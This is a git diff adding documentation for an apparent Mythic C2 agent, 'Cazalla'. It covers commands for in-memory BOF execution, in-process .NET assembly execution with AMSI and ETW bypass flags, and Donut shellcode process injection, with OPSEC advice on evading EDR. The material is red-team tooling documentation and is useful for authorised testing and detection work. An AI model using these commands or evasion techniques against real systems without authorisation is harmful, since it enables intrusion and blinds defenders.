[--amsi] [--etw] +``` + +**Parameters:** +- `-Assembly` or `assembly_name` (required): Name of an already uploaded .NET assembly (e.g., `SharpUp.exe`) +- `assembly_file` (required for new uploads): A new .NET assembly file to upload and execute +- `-Arguments` or `assembly_arguments` (optional): Arguments to pass to the assembly +- `--patchexit` or `patch_exit` (optional, default: false): Patch `System.Environment.Exit` to prevent the Beacon process from exiting +- `--amsi` or `amsi` (optional, default: false): Bypass AMSI by patching `clr.dll` instead of `amsi.dll` to avoid common detections +- `--etw` or `etw` (optional, default: false): Bypass ETW by EAT hooking `advapi32.dll!EventWrite` + +**Examples:** +``` +inline_execute_assembly -Assembly SharpUp.exe -Arguments "audit" +inline_execute_assembly -Assembly Seatbelt.exe -Arguments "all" --amsi --etw +inline_execute_assembly -Assembly SharpHound.exe -Arguments "-c All" --patchexit --amsi --etw +``` + +**Features:** +- In-process execution: Executes .NET assemblies in the current process without spawning new processes +- AMSI bypass: Optional AMSI bypass by patching clr.dll (more evasive than patching amsi.dll) +- ETW bypass: Optional ETW bypass via EAT hooking +- Exit patch: Prevents assemblies from calling `System.Environment.Exit` and terminating the agent +- Output capture: Automatically captures and returns assembly output +- BOF-based: Uses the Inline-EA BOF under the hood (executed via `inline_execute`) + +**OPSEC Considerations:** +- Process Create artifact: Assembly execution creates a "Process Create" artifact +- CLR loading: Loading .NET assemblies into memory may be detected by EDR solutions +- AMSI bypass: Patching clr.dll for AMSI bypass may trigger behavioral detections +- ETW bypass: EAT hooking may be detected by advanced EDR solutions +- No new process: Executes in-process, reducing some detection vectors compared to `execute_assembly` + +**Related:** [`inline_execute`](#inline_execute---execute-beacon-object-file-bof), [`execute_assembly`](#execute_assembly---execute-net-assembly-in-remote-process), [Artifacts Support](features.md#artifacts-support) + +--- + +### `execute_assembly` - Execute .NET Assembly in Remote Process + +Execute a .NET Assembly in a remote process and retrieve its output. + +**Syntax:** +``` +execute_assembly -Assembly -Arguments +``` + +**Parameters:** +- `-Assembly` or `assembly_name` (required): Name of an already uploaded .NET assembly (e.g., `SharpUp.exe`) +- `assembly_file` (required for new uploads): A new .NET assembly file to upload and execute +- `-Arguments` or `assembly_arguments` (required): Arguments to pass to the assembly + +**Examples:** +``` +execute_assembly -Assembly SharpUp.exe -Arguments "audit" +execute_assembly -Assembly Seatbelt.exe -Arguments "all" +execute_assembly -Assembly SharpHound.exe -Arguments "-c All -d domain.local" +``` + +**Features:** +- Shellcode conversion: Automatically converts .NET assemblies to shellcode using Donut +- Process injection: Injects shellcode into a target process (defaults to current process) +- Output capture: Captures and returns assembly output +- No file system: Assembly is executed entirely in memory without writing to disk + +**OPSEC Considerations:** +- **HIGH OPSEC RISK**: Process injection is heavily monitored by EDR/XDR solutions +- Shellcode injection: Donut shellcode injection may trigger behavioral detections +- Process Create artifact: Creates a "Process Create" artifact +- Memory scanning: Injected shellcode may be scanned by EDR memory protection +- API monitoring: Process injection APIs (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread) are monitored +- Donut detection: Donut shellcode patterns may be detected by advanced security solutions + +**Related:** [`inline_execute_assembly`](#inline_execute_assembly---execute-net-assembly-in-process) (better OPSEC), [`inline_execute`](#inline_execute---execute-beacon-object-file-bof), [Artifacts Support](features.md#artifacts-support) + +--- + ### `screenshot` - Capture Screenshot Capture a screenshot of the primary desktop display and upload it to the Mythic server. diff --git a/documentation-payload/Cazalla/commands/README.md b/documentation-payload/Cazalla/commands/README.md index 0680647..c3795dd 100644 --- a/documentation-payload/Cazalla/commands/README.md +++ b/documentation-payload/Cazalla/commands/README.md @@ -40,7 +40,12 @@ Complete documentation for all Cazalla agent commands, organized by category. - [`screenshot`](screenshot.md) - Capture desktop screenshot - [`keylog_start`](keylog_start.md) - Start keylogger - [`keylog_stop`](keylog_stop.md) - Stop keylogger -- [`browser_info`](browser_info.md) - Identify installed browsers + +## Code Execution + +- [`inline_execute`](inline_execute.md) - Execute Beacon Object Files (BOFs) +- [`inline_execute_assembly`](inline_execute_assembly.md) - Execute .NET assemblies in-process +- [`execute_assembly`](execute_assembly.md) - Execute .NET assemblies in remote processes ## Control Commands diff --git a/documentation-payload/Cazalla/commands/execute_assembly.md b/documentation-payload/Cazalla/commands/execute_assembly.md new file mode 100644 index 0000000..7ad4574 --- /dev/null +++ b/documentation-payload/Cazalla/commands/execute_assembly.md @@ -0,0 +1,109 @@ +# execute_assembly - Execute .NET Assembly in Remote Process + +Execute a .NET Assembly in a remote process and retrieve its output. + +## Description + +The `execute_assembly` command converts a .NET assembly to shellcode using Donut and injects it into a remote process (or the current process if no target is specified). The assembly is executed in the target process and its output is captured and returned. + +## Syntax + +``` +execute_assembly -Assembly -Arguments +``` + +## Parameters + +- `-Assembly` or `assembly_name` (required): Name of an already uploaded .NET assembly (e.g., `SharpUp.exe`) +- `assembly_file` (required for new uploads): A new .NET assembly file to upload and execute +- `-Arguments` or `assembly_arguments` (required): Arguments to pass to the assembly + +## Examples + +``` +# Execute assembly with arguments +execute_assembly -Assembly SharpUp.exe -Arguments "audit" + +# Execute Seatbelt with all checks +execute_assembly -Assembly Seatbelt.exe -Arguments "all" + +# Execute SharpHound for domain enumeration +execute_assembly -Assembly SharpHound.exe -Arguments "-c All -d domain.local" +``` + +## Features + +- **Shellcode Conversion**: Automatically converts .NET assemblies to shellcode using Donut +- **Process Injection**: Injects shellcode into a target process (defaults to current process) +- **Output Capture**: Captures and returns assembly output +- **No File System**: Assembly is executed entirely in memory without writing to disk + +## How It Works + +1. The command retrieves the .NET assembly from Mythic +2. The assembly is converted to shellcode using Donut +3. A subtask is created to call `inject_shellcode` with the generated shellcode +4. The shellcode is injected into the target process +5. The .NET assembly is loaded and executed in the target process +6. Output is captured and returned to Mythic + +## Output + +``` +[execute_assembly] Converting .NET Assembly to Shellcode... +[execute_assembly] Shellcode generated: 123456 bytes +[execute_assembly] Injecting shellcode into process... +[Assembly Output] +SharpUp execution started... +[*] Checking for insecure file permissions... +[+] Found: C:\Program Files\Vulnerable Service\service.exe +``` + +## OPSEC Considerations + +- **HIGH OPSEC RISK**: Process injection is heavily monitored by EDR/XDR solutions +- **Shellcode Injection**: Donut shellcode injection may trigger behavioral detections +- **Process Create Artifact**: Creates a "Process Create" artifact +- **Memory Scanning**: Injected shellcode may be scanned by EDR memory protection +- **API Monitoring**: Process injection APIs (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread) are monitored +- **Donut Detection**: Donut shellcode patterns may be detected by advanced security solutions + +## Technical Details + +### Donut Integration + +The command uses Donut to convert .NET assemblies to position-independent shellcode: +- Automatically handles .NET assembly loading +- Supports .NET Framework and .NET Core assemblies +- Generates position-independent shellcode +- Handles assembly dependencies + +### Process Injection + +The shellcode injection process: +1. Shellcode is generated from the .NET assembly +2. Shellcode is registered as a temporary file in Mythic +3. `inject_shellcode` command is called via subtask +4. Shellcode is injected into the target process +5. Assembly executes and output is captured + +## Error Handling + +The command handles various error scenarios: +- **Assembly Not Found**: Returns error if assembly file cannot be retrieved +- **Donut Conversion Failure**: Returns error if assembly cannot be converted to shellcode +- **Injection Failure**: Returns error if shellcode cannot be injected +- **Execution Failure**: Returns error if assembly fails to execute + +## Related + +- [`inline_execute_assembly`](inline_execute_assembly.md) - Execute .NET assemblies in-process (better OPSEC) +- [`inline_execute`](inline_execute.md) - Execute BOFs directly +- [Artifacts Support](../features.md#artifacts-support) + +--- + +**Command Category:** Execution & Control +**Requires Admin:** No (unless injecting into protected process) +**MITRE ATT&CK:** [T1055 - Process Injection](https://attack.mitre.org/techniques/T1055/), [T1620 - Reflective Code Loading](https://attack.mitre.org/techniques/T1620/) + diff --git a/documentation-payload/Cazalla/commands/inline_execute.md b/documentation-payload/Cazalla/commands/inline_execute.md new file mode 100644 index 0000000..0551c30 --- /dev/null +++ b/documentation-payload/Cazalla/commands/inline_execute.md @@ -0,0 +1,114 @@ +# inline_execute - Execute Beacon Object File (BOF) + +Execute a Beacon Object File (BOF) in the current process thread and capture its output. + +## Description + +The `inline_execute` command loads and executes a COFF (Common Object File Format) file, commonly known as a Beacon Object File (BOF), directly in the memory of the current process. BOFs are lightweight, position-independent code objects that can be executed without creating new processes, making them useful for stealthy operations. + +## Syntax + +``` +inline_execute -BOF [-Arguments ] +``` + +## Parameters + +- `-BOF` or `bof_name` (required): Name of an already uploaded BOF file (e.g., `whoami.x64.o`) +- `bof_file` (required for new uploads): A new BOF file to upload and execute +- `-Arguments` or `bof_arguments` (optional): Arguments to pass to the BOF + +### Argument Types + +BOF arguments can be specified using the following format: +- `int16:123` or `-s:123` - 16-bit integer +- `int32:1234` or `-i:1234` - 32-bit integer +- `string:hello` or `-z:hello` - Null-terminated string +- `wchar:hello` or `-Z:hello` - Wide character string +- `base64:abc==` or `-b:abc==` - Base64-encoded binary data + +## Examples + +``` +# Execute a BOF with no arguments +inline_execute -BOF whoami.x64.o + +# Execute a BOF with integer argument +inline_execute -BOF listmods.x64.o -Arguments int32:1234 + +# Execute a BOF with multiple arguments +inline_execute -BOF netstat.x64.o -Arguments int32:4 string:TCP + +# Upload and execute a new BOF +inline_execute -BOF custom_bof.x64.o -Arguments int32:5678 +``` + +## Features + +- **In-Memory Execution**: BOFs are executed directly in the current process memory without creating new processes +- **COFF Loader**: Full COFF loader implementation supporting x64 BOFs with relocations and symbol resolution +- **Beacon API Compatibility**: Compatible with Cobalt Strike BOF API (BeaconPrintf, BeaconOutput, etc.) +- **Output Capture**: Automatically captures and returns BOF output +- **Argument Parsing**: Supports multiple argument types (int16, int32, string, wchar, base64) + +## Output + +``` +[inline_execute] BOF execution requested +[inline_execute] File ID: abc123... +[inline_execute] Arguments: int32:1234 +[BOF Output] +Module Name: ntdll.dll +Base Address: 0x7ffa12340000 +Size: 0x1f0000 +``` + +## OPSEC Considerations + +- **Process Create Artifact**: BOF execution creates a "Process Create" artifact that is logged +- **Memory Allocation**: BOFs allocate executable memory which may be detected by EDR solutions +- **API Hooking**: Some EDR solutions monitor API calls that BOFs make +- **Symbol Resolution**: External symbol resolution (LoadLibraryA, GetProcAddress) may be logged +- **No New Process**: Unlike `shell` or `execute_assembly`, BOFs execute in-process, reducing some detection vectors + +## Technical Details + +### COFF Loader + +The COFF loader implementation: +- Supports x64 COFF files (IMAGE_FILE_MACHINE_AMD64) +- Handles relocations (IMAGE_REL_AMD64_ADDR64, IMAGE_REL_AMD64_ADDR32NB, IMAGE_REL_AMD64_REL32) +- Resolves internal Beacon API functions +- Resolves external symbols via LoadLibraryA/GetProcAddress +- Maps sections with PAGE_EXECUTE_READWRITE permissions + +### Beacon API Compatibility + +The following Beacon API functions are supported: +- `BeaconPrintf` - Formatted output +- `BeaconOutput` - Raw output +- `BeaconDataParse` - Parse input data +- `BeaconDataInt`, `BeaconDataShort`, `BeaconDataExtract` - Data extraction +- `BeaconUseToken`, `BeaconRevertToken` - Token manipulation +- `BeaconIsAdmin` - Admin check + +## Error Handling + +The command handles various error scenarios: +- **File Not Found**: Returns error if BOF file cannot be retrieved from Mythic +- **Invalid COFF**: Returns error if file is not a valid COFF or unsupported architecture +- **Symbol Resolution Failure**: Warns if external symbols cannot be resolved +- **Execution Failure**: Returns error if BOF entry point cannot be found or execution fails + +## Related + +- [`inline_execute_assembly`](inline_execute_assembly.md) - Execute .NET assemblies in-process +- [`execute_assembly`](execute_assembly.md) - Execute .NET assemblies in remote processes +- [Artifacts Support](../features.md#artifacts-support) + +--- + +**Command Category:** Execution & Control +**Requires Admin:** No +**MITRE ATT&CK:** [T1055 - Process Injection](https://attack.mitre.org/techniques/T1055/) + diff --git a/documentation-payload/Cazalla/commands/inline_execute_assembly.md b/documentation-payload/Cazalla/commands/inline_execute_assembly.md new file mode 100644 index 0000000..6a9bf24 --- /dev/null +++ b/documentation-payload/Cazalla/commands/inline_execute_assembly.md @@ -0,0 +1,110 @@ +# inline_execute_assembly - Execute .NET Assembly In-Process + +Execute a .NET Assembly in the current process using the Inline-EA BOF (Beacon Object File). + +## Description + +The `inline_execute_assembly` command executes a .NET assembly directly in the current process memory using the Inline-EA BOF developed by @EricEsquivel. This method loads and executes .NET assemblies without creating new processes, providing better OPSEC than traditional process spawning methods. + +## Syntax + +``` +inline_execute_assembly -Assembly [-Arguments ] [--patchexit] [--amsi] [--etw] +``` + +## Parameters + +- `-Assembly` or `assembly_name` (required): Name of an already uploaded .NET assembly (e.g., `SharpUp.exe`) +- `assembly_file` (required for new uploads): A new .NET assembly file to upload and execute +- `-Arguments` or `assembly_arguments` (optional): Arguments to pass to the assembly +- `--patchexit` or `patch_exit` (optional, default: false): Patch `System.Environment.Exit` to prevent the Beacon process from exiting +- `--amsi` or `amsi` (optional, default: false): Bypass AMSI by patching `clr.dll` instead of `amsi.dll` to avoid common detections +- `--etw` or `etw` (optional, default: false): Bypass ETW by EAT hooking `advapi32.dll!EventWrite` to point to a function that returns immediately + +## Examples + +``` +# Execute assembly with arguments +inline_execute_assembly -Assembly SharpUp.exe -Arguments "audit" + +# Execute with AMSI and ETW bypass +inline_execute_assembly -Assembly Seatbelt.exe -Arguments "all" --amsi --etw + +# Execute with all bypasses enabled +inline_execute_assembly -Assembly SharpHound.exe -Arguments "-c All" --patchexit --amsi --etw +``` + +## Features + +- **In-Process Execution**: Executes .NET assemblies in the current process without spawning new processes +- **AMSI Bypass**: Optional AMSI bypass by patching clr.dll (more evasive than patching amsi.dll) +- **ETW Bypass**: Optional ETW bypass via EAT hooking +- **Exit Patch**: Prevents assemblies from calling `System.Environment.Exit` and terminating the agent +- **Output Capture**: Automatically captures and returns assembly output +- **BOF-Based**: Uses the Inline-EA BOF under the hood (executed via `inline_execute`) + +## How It Works + +1. The command creates a subtask that calls `inline_execute` with the Inline-EA BOF +2. The .NET assembly is passed to the BOF as raw bytes +3. The BOF loads the assembly into memory using .NET CLR APIs +4. Optional bypasses (AMSI, ETW) are applied if requested +5. The assembly's entry point is executed with the provided arguments +6. Output is captured and returned to Mythic + +## Output + +``` +[inline_execute_assembly] Assembly execution requested +[BOF Output from Inline-EA] +SharpUp execution started... +[*] Checking for insecure file permissions... +[*] Checking for unquoted service paths... +[+] Found: C:\Program Files\Vulnerable Service\service.exe +``` + +## OPSEC Considerations + +- **Process Create Artifact**: Assembly execution creates a "Process Create" artifact +- **CLR Loading**: Loading .NET assemblies into memory may be detected by EDR solutions +- **AMSI Bypass**: Patching clr.dll for AMSI bypass may trigger behavioral detections +- **ETW Bypass**: EAT hooking may be detected by advanced EDR solutions +- **No New Process**: Executes in-process, reducing some detection vectors compared to `execute_assembly` +- **Memory Allocation**: Allocates executable memory for the assembly, which may be scanned + +## Technical Details + +### Inline-EA BOF + +This command uses the Inline-EA BOF developed by @EricEsquivel: +- GitHub: https://github.com/EricEsquivel/Inline-EA +- Loads .NET assemblies directly into memory +- Supports AMSI and ETW bypasses +- Prevents assembly from exiting the process + +### Bypass Options + +- **--patchexit**: Patches `System.Environment.Exit` to prevent the assembly from terminating the agent process +- **--amsi**: Bypasses AMSI by patching `clr.dll` instead of `amsi.dll` (more evasive) +- **--etw**: Bypasses ETW by hooking `advapi32.dll!EventWrite` via Export Address Table (EAT) hooking + +## Error Handling + +The command handles various error scenarios: +- **Assembly Not Found**: Returns error if assembly file cannot be retrieved from Mythic +- **BOF Execution Failure**: Returns error if Inline-EA BOF cannot be executed +- **Assembly Load Failure**: Returns error if .NET assembly cannot be loaded +- **Bypass Failure**: May fail silently if bypasses cannot be applied + +## Related + +- [`inline_execute`](inline_execute.md) - Execute BOFs directly +- [`execute_assembly`](execute_assembly.md) - Execute .NET assemblies in remote processes +- [Artifacts Support](../features.md#artifacts-support) + +--- + +**Command Category:** Execution & Control +**Requires Admin:** No +**MITRE ATT&CK:** [T1055 - Process Injection](https://attack.mitre.org/techniques/T1055/), [T1620 - Reflective Code Loading](https://attack.mitre.org/techniques/T1620/) + diff --git a/documentation-payload/Cazalla/features.md b/documentation-payload/Cazalla/features.md index d4450d6..28abe72 100644 --- a/documentation-payload/Cazalla/features.md +++ b/documentation-payload/Cazalla/features.md @@ -153,6 +153,9 @@ Cazalla automatically reports artifacts created during command execution, allowi | Artifact Type | Commands | Description | |--------------|----------|-------------| | **Process Create** | `shell` | Command execution via cmd.exe | +| **Process Create** | `inline_execute` | BOF execution in current process | +| **Process Create** | `inline_execute_assembly` | .NET assembly execution in-process | +| **Process Create** | `execute_assembly` | .NET assembly execution via process injection | | **File Write** | `cp`, `mkdir`, `upload` | File creation or modification | | **File Delete** | `rm` | File or directory deletion | | **File Read** | `download` | File download operations | diff --git a/documentation-payload/Cazalla/opsec.md b/documentation-payload/Cazalla/opsec.md index a458c00..dc66730 100644 --- a/documentation-payload/Cazalla/opsec.md +++ b/documentation-payload/Cazalla/opsec.md @@ -78,6 +78,7 @@ These commands are **highly detectable** and require careful consideration: | Command | Risk Level | Detection Likelihood | Alternatives | |---------|-----------|---------------------|--------------| | `shell` | HIGH | High (cmd.exe spawn) | Use built-in Cazalla commands when possible | +| `execute_assembly` | HIGH | High (process injection, Donut shellcode) | `inline_execute_assembly` for in-process execution | | `steal_token` | HIGH | High (EDR/XDR monitoring) | `make_token` when credentials available | | `rm` (system files) | HIGH | Blocked for safety | Never delete system files | | `screenshot` | HIGH | Screen capture detection | Use sparingly, consider timing | @@ -88,6 +89,8 @@ These commands have **moderate detection risk**: | Command | Risk Level | Detection Likelihood | Notes | |---------|-----------|---------------------|-------| +| `inline_execute` | MEDIUM | Memory allocation, API calls | In-process execution reduces some detection vectors | +| `inline_execute_assembly` | MEDIUM | CLR loading, memory allocation | Better OPSEC than `execute_assembly` (no process injection) | | `download` | MEDIUM | File access logging | Large files may trigger DLP | | `upload` | MEDIUM | File write detection | Suspicious extensions monitored | | `socks` | MEDIUM | Network traffic analysis | High bandwidth usage | @@ -115,6 +118,9 @@ These commands have **low detection risk**: **Endpoint Detection and Response (EDR)** and **Extended Detection and Response (XDR)** solutions monitor: - **Process Creation**: `shell` command spawns `cmd.exe` (highly monitored) +- **Process Injection**: `execute_assembly` uses Donut shellcode injection (heavily monitored) +- **Memory Allocation**: `inline_execute` and `inline_execute_assembly` allocate executable memory (may be scanned) +- **CLR Loading**: Loading .NET assemblies into memory may trigger EDR detections - **Token Manipulation**: `steal_token` and `make_token` generate authentication events - **Memory Access**: Accessing LSASS memory triggers high-priority alerts - **API Hooking**: Keyloggers and screen capture use monitored APIs @@ -122,6 +128,8 @@ These commands have **low detection risk**: **Mitigation Strategies:** - Use built-in Cazalla commands instead of `shell` when possible +- Prefer `inline_execute_assembly` over `execute_assembly` for better OPSEC (in-process vs process injection) +- Use `inline_execute` for BOFs when possible (no process creation) - Prefer `make_token` over `steal_token` when credentials are available - Avoid accessing LSASS or other critical system processes - Use keylogging only when absolutely necessary @@ -321,6 +329,23 @@ Built-in Cazalla commands: - **Detection**: Authentication event logging - **Best Practice**: Less detectable than `steal_token`, use when credentials available +### Code Execution Commands + +#### `inline_execute` +- **Risk**: MEDIUM +- **Detection**: Memory allocation (executable pages), API calls (LoadLibraryA, GetProcAddress), symbol resolution +- **Best Practice**: In-process execution reduces detection vectors compared to process spawning. Use for lightweight operations. + +#### `inline_execute_assembly` +- **Risk**: MEDIUM +- **Detection**: CLR loading, memory allocation, AMSI/ETW bypass attempts may trigger behavioral detections +- **Best Practice**: Better OPSEC than `execute_assembly` (no process injection). Use `--amsi` and `--etw` flags when needed, but be aware they may be detected. + +#### `execute_assembly` +- **Risk**: HIGH +- **Detection**: Process injection (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread), Donut shellcode patterns, memory scanning +- **Best Practice**: Use only when necessary. Prefer `inline_execute_assembly` for better OPSEC. High detection risk due to process injection techniques. + #### `rev2self` - **Risk**: LOW - **Detection**: Minimal